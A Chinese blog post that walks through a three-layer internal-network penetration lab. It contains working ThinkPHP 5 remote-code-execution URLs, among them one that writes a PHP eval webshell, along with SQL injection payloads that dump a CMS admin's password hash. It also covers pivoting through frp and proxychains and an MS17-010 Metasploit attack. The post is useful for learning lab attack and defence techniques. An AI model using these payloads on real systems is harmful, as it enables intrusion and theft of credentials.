打穿你的内网之三层内网渗透

引言

​ 在过去的一些实战经历中发现自己内网相关的技能还比较薄弱,所以专门找了个靶场(teamssix.com)做下练习,靶场的web漏洞利用都很简单,主要训练自己内网搭代理隧道的熟练度,如果你和我一样对复杂网络下隧道搭建不熟悉的话,不妨一起看看这篇文章,希望能对你有一些帮助。

目标:拿下内网最深处主机的flag.txt 文件

外网打点

​ 在互联网环境下发现一处资产 ,这里以 x.x.220.130 替代,直接访问 x.x.220.130 发现以下页面:

image-20220916204445101

​ 很明显这是一个thinkphp应用,随便指定一个路由http://x.x.220.130/index.php/?s=123,爆出thinkphp的详细版本。

image-20220916205019339

​ tp5在5.0-5.0.245.1.0-5.1.30都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行id命令:

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

image-20220916210423628

​ 可以看见命令执行成功。

​ 接下来直接写入一个shell ,使用php 的 file_put_contents 函数写个一句话木马:

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E

​ 验证:

image-20220916220045835

​ 验证成功,直接使用蚁剑进行连接。

image-20220916220220616

​ 将超时时间调高,因为后续会上传文件避免超时而中断:

image-20220916220339792

连接成功:

image-20220916220554724

​ 第一层的flag就在网站根目录下面, 直接双击读取即可:

image-20220916221219266

突破边界(第一层)

​ 接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:

image-20220916221454290

​ 拿下的这台服务器发现权限并不高仅为www,但是有惊喜的是这台机器存在双网卡,其中一张网卡(ens37)绑定了内网ip(192.168.22.131),证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了192.168.22.x/24网段的内网。

22 网段信息收集

​ 既然发现了存在192.168.22.x/24 网段,所以尝试对 22 网段进行信息收集,这里使用fscan (https://github.com/shadow1ng/fscan)工具进行内网大保健.

​ 上传fscan 到服务器目录/tmp

image-20220916224528351

​ 对 192.168.22.x/24 网段进行扫描:

./fscan -h 192.168.22.1/24 -o fscan.log

​ 查看扫描结果:

image-20220916230940474

​ 发现网段内还存在192.168.22.128 192.168.22.129 , 且192.168.22.128:80 存在 cms服务。

​ 接下来的目标就是拿下192.168.22.128 服务器,直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透,所以需要

以第一台服务作为跳板。

搭建跳板

​ 先画个网络拓扑图,方便后续理解,第一台机器我们也叫它Target 1.

image-20220916233112922

​ 因为在上一步信息收集时发现192.168.22.128:80 (Target 2)存在 cms服务,有两种方式进行利用:

  1. 对 Target 2 80 端口进行端口转发。
  2. 使用反向代理,将Target 1 的网络通过vps代理出去。

​ 为了进一步对内网进行探测,这里选择第二种方式。

​ 反向代理有很多工具可以使用,frp、ew、ngrok都可以,这里使用frp方式。

​ frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定。

image-20220917000722815

启用frp 服务端

​ 下载frps到自己的vps上,frps.ini 配置如下 :

image-20220916235528196

​ 其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,

使用命令frps -c frps.ini 启动即可,如果想要后台运行,可以加入service或者使用nohup启动。

image-20220917001251437

​ netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。

image-20220917001450277

Target1 客户端配置

​ 将frpc 传入target1 /tmp/frp目录:

image-20220917002144422

frpc.ini 配置内容:

image-20220917002307090

其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用frpc -c frpc.ini 进行启动:

image-20220917002558202

在 vps 服务器端分别发现了16004与16005端口,证明代理搭建成功!

image-20220917002808301

这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:

image-20220917003826877

进入第二层内网

​ 在上一步骤中已经搭建好了内网代理,现在进行以下测试,首先在没有使用代理时,192.168.22.128是无法访问的:

image-20220917004736229

​ 通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式
image-20220917005020203

image-20220917005042738

​ 再次访问192.168.22.128 ,成功访问,到此我们就已经访问了企业第二层内网:

image-20220917005136172

​ 虽然这里浏览器能够正常访问了,但是在渗透的过程中常常会使用安全工具进行扫描或者漏洞利用,这些工具大部分没有预留走代理的配置,或者系统的代理往往不会生效,这种情况怎么办呢?

​ 所以这时候强制代理工具就很重要了,强制代理工具也有很多,这里使用proxifer,这款工具在win/mac下都有比较方便。

image-20220917005713659

### 对`Target2` 进行端口扫描

​ 虽然在之前的扫描中发现了Target2 80端口存在一个cms,但是 渗透总是照着软柿子捏,我们尝试使用nmap 对Target2 进行端口扫描,寻找其开放的端口。

​ 1. 首先需要配置Proxifer ,先配置代理服务器

image-20220917010121482

image-20220917010328935

  1. 需要配置代理规则,按照下图配置:

image-20220917010414657

image-20220917010607850

  1. 使用nmap 进行扫描,注意的是socks本身也是建立在tcp基础上的,所以nmap只能以tcp全连接的方式进行扫描,即:nmap -sT 192.168.22.128 -Pn

image-20220917012102611

​ 对21、22、3306 都进行了弱口令尝试,但无解,888、8888 是宝塔的控制面板界面,尝试了宝塔之前的phpmyadmin未授权访问也无解。看样子只能对80端口下手。

image-20220917013528069

Bage cms 渗透

​ 通过查看网页底部指纹信息,知道这是一个bage cms搭建的网站,而且从时间上来看有些老旧。

image-20220917013629453

​ 通过在网上寻找bage cms的利用点发现均为一些任意文件读取或者xss等后管的漏洞利用,虽然通过路径扫描找到了后台地址:http://192.168.22.128/index.php?r=admini/public/login

image-20220917015212401

​ 但并没有弱口令,而且因为有验证码 所以也没法爆破,这个时候就茫然了,完全拿不下。

​ 但总得抓个包先看看吧,联想到之前某活动,有个巨佬通过注释找到利用点拿到shell的场景,我这次也留意了注释的内容,刺激的是果然在注释里面有提示!

image-20220917020009443

sql手工注入一把梭

​ 访问提示的地址http://192.168.22.128/index.php?r=vul&keyword=1

image-20220917020131063

​ 加上单引号,典型的mysql报错注入:

image-20220917020148004

image-20220917020513716

​ 所以使用报错注入注出后管用户名和密码就好(中途发现报错注入显示的字符长度有限制,后面转成了联合注入),细节就不完整放了,很基础,贴下过程中的payload:

-- 数据库 
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+ 
-- 注用户 
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23 
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注用户名
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密码
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

​ 把注入出来的md5 密码去解一下,得到(admin/123qwe):

image-20220917020613570

放入后门

​ 使用注入得到的账号密码进行登录,成功登录。

image-20220917020801821

​ 后管直接把Target2 的flag给显示出来了,尝试继续深入,给这台服务上传shell,上传点存在限制,但是在模板功能模块存在直接编辑模板代码的功能,所以很简单直接把一句话随便找个文件放入就好:

image-20220917021037422

​ 尝试使用蚁剑进行连接,因为Target2 是内网机器,所以要连接shell得先给蚁剑挂代理:

image-20220917021538960

​ 其余和Target1 一样进行连接, 连接成功,至此 Target2 也被拿下。

image-20220917021515879

进入第三层内网

​ 同样的步骤,先对刚拿下的Taget2 进行信息收集:

image-20220917022156181

image-20220917022938557

发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。

​ 再次上传fscan,对33网段进行内网大保健:

image-20220917022519342

​ 显示33网段除了Target2 之外 ,还有一台192.168.33.33Target3) ,且该主机为win7 ,fscan扫描得出存在永恒之蓝漏洞(MS17-010),所以可以再使用Target2的网络对Target3发起永恒之蓝攻击

#### 搭建双层代理链

​ 往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。

​ 代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:

Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3

image-20220917023457286

​ 给Target1 运行frps 服务端,配置使用和vps相同的参数:

image-20220917025014924

image-20220917024931927

​ 上Target2 运行客户端,其余配置都一样,把server_addr 换成开启服务端的Target1ip(注意ip要是22段,不然网络不通)

image-20220917025659611

Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。

image-20220917025630714

永恒之蓝(MS17-010)

​ 永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。

​ 在linux上对应用进行强制代理的工具可以使用proxychains-ng

proxychains-ng

​ 在centos 上可以很方便的 yum install -y proxychains-ng 安装即可

​ 配置文件默认在/etc/proxychains.conf ,按照如下顺序配置(顺序很重要,不能乱),因为我的frps就在这台vps上,所以直接使用127.0.0.1即可:

image-20220917030603467

​ 刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上
proxychain即可:

proxychains telnet 192.168.33.33 139

image-20220917030841465

从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。

msf

  1. 使用proxychains 启动msfconsole

image-20220917031011886

  1. 搜索ms17-010,直接使用第一个就好:

image-20220917031145221

  1. 因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:

image-20220917034930845

  1. 设置目标参数信息

image-20220917031633546

  1. exploit !!!

image-20220917034952215

拿到Taget3 最高权限!尝试去读取flag

image-20220917032034516

拿到flag!

image-20220917032101961

截图:

image-20220917035458130

​ 到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。

总结

image-20220917035557398

​ 回顾一下,本次渗透总共通过三个边界节点的漏洞利用成功拿下身处最内网的Target3,分别通过TP5、Bage cms、永恒之蓝作为漏洞利用点,借助frp 工具搭建代理链实现对内网的访问。其实整个过程还是很简单的,并没有涉及到域相关的内容,后续有机会再分享。

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

posted @ 2022-09-17 18:34  9eek  阅读(2843)  评论(7编辑  收藏  举报